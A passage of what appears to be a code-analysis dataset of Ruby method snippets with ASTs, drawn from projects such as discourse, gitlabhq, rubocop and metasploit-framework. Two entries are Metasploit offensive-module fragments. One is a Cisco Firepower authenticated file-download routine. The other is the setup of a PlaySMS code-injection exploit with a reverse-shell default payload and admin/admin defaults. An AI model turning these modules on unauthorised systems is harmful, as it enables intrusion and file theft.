end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_a_parent_marked_for_destruction_should_not_be_destroyed_twice\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"pirate\"]},\"mark_for_destruction\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"save\"]}]},{\"type\":\"sclass\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"pirate\"]},{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Should not be called\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"save\"]}]}]}]}","id":"85f8492a-0ac5-432e-a8d7-e2a8756988cd"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_connect_provider.rb","start_line":54,"raw_source":"def self.lookup_return_sso_url(parsed_payload)\n decoded = Base64.decode64(parsed_payload[\"sso\"])\n decoded_hash = Rack::Utils.parse_query(decoded)\n decoded_hash[\"return_sso_url\"]\n end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"lookup_return_sso_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parsed_payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"decoded\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"decode64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sso\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"decoded_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Utils\"]},\"parse_query\",{\"type\":\"lvar\",\"children\":[\"decoded\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decoded_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"return_sso_url\"]}]}]}]}","id":"092df86c-14e8-42e4-a08c-f13339181434"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/list/convert_table.rb","start_line":146,"raw_source":"def assert_partitioning_constraint_present\n return if partitioning_constraint&.constraint_valid?\n\n raise UnableToPartition, <<~MSG\n Table #{table_name} is not ready for partitioning.\n Before partitioning, a check constraint must enforce that (#{partitioning_column} IN (#{zero_partition_value.join(',')}))\n MSG\n end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_partitioning_constraint_present\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"partitioning_constraint\"]},\"constraint_valid?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"UnableToPartition\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Table \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" is not ready for partitioning.\\n\"]},{\"type\":\"str\",\"children\":[\"Before partitioning, a check constraint must enforce that (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"partitioning_column\"]}]},{\"type\":\"str\",\"children\":[\" IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"zero_partition_value\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\"))\\n\"]}]}]}]}]}","id":"d9dba4b0-2a36-496e-b3af-530dfa0023c5"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order.rb","start_line":949,"raw_source":"def credit_card_nil_payment?(attributes)\n payments.store_credits.present? && attributes[:amount].to_f.zero?\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"credit_card_nil_payment?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payments\"]},\"store_credits\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"amount\"]}]},\"to_f\"]},\"zero?\"]}]}]}","id":"950eadf4-54a3-448d-910b-1f85e2617d89"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/regexp_literal.rb","start_line":118,"raw_source":"def allowed_slash_literal?(node)\n (style == :slashes && !contains_disallowed_slash?(node)) || allowed_mixed_slash?(node)\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_slash_literal?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"slashes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"contains_disallowed_slash?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"allowed_mixed_slash?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"bfaa9606-783b-4e4c-8a61-3c00f9380572"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/static_class.rb","start_line":53,"raw_source":"def on_class(class_node)\n return if class_node.parent_class\n return unless class_convertible_to_module?(class_node)\n\n add_offense(class_node) do |corrector|\n autocorrect(corrector, class_node)\n end\n end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_node\"]},\"parent_class\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_convertible_to_module?\",{\"type\":\"lvar\",\"children\":[\"class_node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"class_node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"class_node\"]}]}]}]}]}","id":"22aa3be3-6156-403b-93af-d591c7c07a5c"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/features/support/work_package_table.rb","start_line":32,"raw_source":"def expect_work_packages_to_be_in_order(order)\n within_wp_table do\n preceeding_elements = order[0..-2]\n following_elements = order[1..-1]\n\n preceeding_elements.each_with_index do |wp_1, i|\n wp_2 = following_elements[i]\n expect(self).to have_css(\".wp-row-#{wp_1.id} + \\\n .wp-row-#{wp_2.id}\")\n end\n end\n end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_work_packages_to_be_in_order\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"order\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_wp_table\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"preceeding_elements\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"following_elements\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preceeding_elements\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wp_1\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wp_2\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"following_elements\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"self\",\"children\":[]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".wp-row-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wp_1\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" + .wp-row-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wp_2\"]},\"id\"]}]}]}]}]}]}]}]}]}]}","id":"60b63fb0-1f10-4edf-b004-e06c57a8c09c"} {"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/dialog/orchestration_template_service_dialog_spec.rb","start_line":283,"raw_source":"def assert_field(field, clss, attributes)\n expect(field).to be_kind_of clss\n expect(field).to have_attributes(attributes)\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"arg\",\"children\":[\"clss\"]},{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_kind_of\",{\"type\":\"lvar\",\"children\":[\"clss\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_attributes\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}]}","id":"f180ec50-c11a-4a81-b954-2b0712baa3ae"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/hash_like_case.rb","start_line":65,"raw_source":"def nodes_of_same_type?(nodes)\n nodes.all? { |node| node.type == nodes.first.type }\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"nodes_of_same_type?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nodes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"type\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"first\"]},\"type\"]}]}]}]}","id":"637fb9e6-5557-49b6-a8d5-d3fdec3c0887"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rabal/tree.rb","start_line":209,"raw_source":"def find_subtree(path)\n if path.empty? then\n return self\n else\n possible_child = path.shift\n if children.has_key?(possible_child) then\n children[possible_child].find_subtree(path)\n else\n raise PathNotFoundError, \"`#{possible_child}' does not match anything at the current path in the Tree (#{current_path})\"\n end\n end\n end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"find_subtree\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"self\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"possible_child\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"shift\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"children\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"possible_child\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"children\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"possible_child\"]}]},\"find_subtree\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"PathNotFoundError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"possible_child\"]}]},{\"type\":\"str\",\"children\":[\"' does not match anything at the current path in the Tree (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_path\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}]}]}","id":"d30424f4-31ec-42f4-bc33-c2877de6121c"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/testflight/testflight.rb","start_line":325,"raw_source":"def add_beta_tester_to_group(beta_group_id: nil, beta_tester_ids: nil)\n beta_tester_ids || []\n body = {\n data: beta_tester_ids.map do |id|\n {\n type: \"betaTesters\",\n id: id\n }\n end\n }\n test_flight_request_client.post(\"#{Version::V1}/betaGroups/#{beta_group_id}/relationships/betaTesters\", body)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_beta_tester_to_group\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"beta_group_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"beta_tester_ids\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"beta_tester_ids\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"beta_tester_ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"betaTesters\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_flight_request_client\"]},\"post\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"V1\"]}]},{\"type\":\"str\",\"children\":[\"/betaGroups/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"beta_group_id\"]}]},{\"type\":\"str\",\"children\":[\"/relationships/betaTesters\"]}]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"ed39de6d-4e52-4eb8-a98c-e6b9299d09ef"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-gamification/app/serializers/admin_gamification_index_serializer.rb","start_line":8,"raw_source":"def gamification_leaderboards\n object[:leaderboards]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gamification_leaderboards\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"leaderboards\"]}]}]}","id":"c1342936-a7da-45cf-ad2f-526f2b35697e"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/lib/chat/channel_archive_service_spec.rb","start_line":99,"raw_source":"def start_archive\n @channel_archive =\n described_class.create_archive_process(\n chat_channel: channel,\n acting_user: user,\n topic_params: topic_params,\n )\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"start_archive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@channel_archive\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"create_archive_process\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_channel\"]},{\"type\":\"send\",\"children\":[null,\"channel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"acting_user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_params\"]},{\"type\":\"send\",\"children\":[null,\"topic_params\"]}]}]}]}]}]}","id":"24f1ea0f-b177-4045-b23d-3a6019051bfd"} {"repo_name":"mastodon","file_path":"./repos/mastodon/spec/requests/statuses_spec.rb","start_line":287,"raw_source":"def sign_in_with_session(user)\n # The regular `sign_in` helper does not actually set session cookies\n # The endpoint responses here rely on cookie/session checks to set cache privacy headers\n # To enable that, perform a full sign in which will establish those cookies for subsequent spec requests\n post user_session_path, params: { user: { email: user.email, password: user.password } }\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"sign_in_with_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[null,\"user_session_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"password\"]}]}]}]}]}]}]}]}]}","id":"d71a1e69-b362-41b1-9ec1-ae973cbefe46"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/concerns/finder_with_cross_project_access.rb","start_line":79,"raw_source":"def can_read_cross_project?\n Ability.allowed?(current_user, :read_cross_project)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_read_cross_project?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_cross_project\"]}]}]}","id":"b86110d7-2f42-41ec-81d2-888169b2929c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/cisco_firepower_download.rb","start_line":151,"raw_source":"def run_host(ip)\n cgi_sid = do_login(ip)\n\n unless cgi_sid\n fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID')\n end\n\n res = download_file(cgi_sid, datastore['FILEPATH'])\n\n if res.nil?\n print_error(\"Connection timed out while downloading: #{datastore['FILEPATH']}\")\n elsif remote_file_exists?(res)\n save_file(res, ip)\n else\n print_error(\"Remote file not found: #{datastore['FILEPATH']}\")\n end\n end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cgi_sid\",{\"type\":\"send\",\"children\":[null,\"do_login\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cgi_sid\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Unable to obtain the cookie session ID\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"download_file\",{\"type\":\"lvar\",\"children\":[\"cgi_sid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection timed out while downloading: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remote_file_exists?\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"send\",\"children\":[null,\"save_file\",{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Remote file not found: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]}]}]}]}]}]}]}]}]}","id":"ab918476-c3a9-447c-863d-ed796221cc7d"} {"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/standard_tag_test.rb","start_line":64,"raw_source":"def test_assign_with_colon_and_spaces\n assigns = { 'var' => { 'a:b c' => { 'paged' => '1' } } }\n assert_template_result('var2: 1', '{%assign var2 = var[\"a:b c\"].paged %}var2: {{var2}}', assigns)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assign_with_colon_and_spaces\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assigns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"var\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a:b c\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"paged\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"var2: 1\"]},{\"type\":\"str\",\"children\":[\"{%assign var2 = var[\\\"a:b c\\\"].paged %}var2: {{var2}}\"]},{\"type\":\"lvar\",\"children\":[\"assigns\"]}]}]}]}","id":"b491964e-5df5-44d0-9441-f9d2c8e815c9"} {"repo_name":"spree","file_path":"./repos/spree/core/db/migrate/20250110171203_add_quick_checkout_to_spree_addresses.rb","start_line":2,"raw_source":"def change\n add_column :spree_addresses, :quick_checkout, :boolean, default: false, if_not_exists: true\n add_index :spree_addresses, :quick_checkout, if_not_exists: true\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"spree_addresses\"]},{\"type\":\"sym\",\"children\":[\"quick_checkout\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"spree_addresses\"]},{\"type\":\"sym\",\"children\":[\"quick_checkout\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"b2b4352d-90ef-4c4a-b7a3-b3395aa10fa9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/playsms_filename_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'PlaySMS sendfromfile.php Authenticated \"Filename\" Field Code Execution',\n 'Description' => %q{\n This module exploits a code injection vulnerability within an authenticated file\n upload feature in PlaySMS v1.4. This issue is caused by improper file name handling\n in sendfromfile.php file.\n Authenticated Users can upload a file and rename the file with a malicious payload.\n This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7.\n },\n 'Author' => [\n 'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Discoverys and Metasploit Module\n 'DarkS3curity' # Metasploit Module\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n ['EDB', '42003'],\n ['CVE', '2017-9080'],\n ['URL', 'https://www.youtube.com/watch?v=MuYoImvfpew'],\n ['URL', 'http://touhidshaikh.com/blog/?p=336']\n ],\n 'DefaultOptions' => {\n 'SSL' => false,\n 'PAYLOAD' => 'php/meterpreter/reverse_tcp',\n 'ENCODER' => 'php/base64',\n },\n 'Privileged' => false,\n 'Platform' => ['php'],\n 'Arch' => ARCH_PHP,\n 'Targets' => [\n [ 'PlaySMS 1.4', {} ],\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2017-05-21',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n OptString.new('TARGETURI', [ true, \"Base playsms directory path\", '/']),\n OptString.new('USERNAME', [ true, \"Username to authenticate with\", 'admin']),\n OptString.new('PASSWORD', [ true, \"Password to authenticate with\", 'admin'])\n ]\n )\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"PlaySMS sendfromfile.php Authenticated \\\"Filename\\\" Field Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a code injection vulnerability within an authenticated file\\n\"]},{\"type\":\"str\",\"children\":[\" upload feature in PlaySMS v1.4. This issue is caused by improper file name handling\\n\"]},{\"type\":\"str\",\"children\":[\" in sendfromfile.php file.\\n\"]},{\"type\":\"str\",\"children\":[\" Authenticated Users can upload a file and rename the file with a malicious payload.\\n\"]},{\"type\":\"str\",\"children\":[\" This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Touhid M.Shaikh 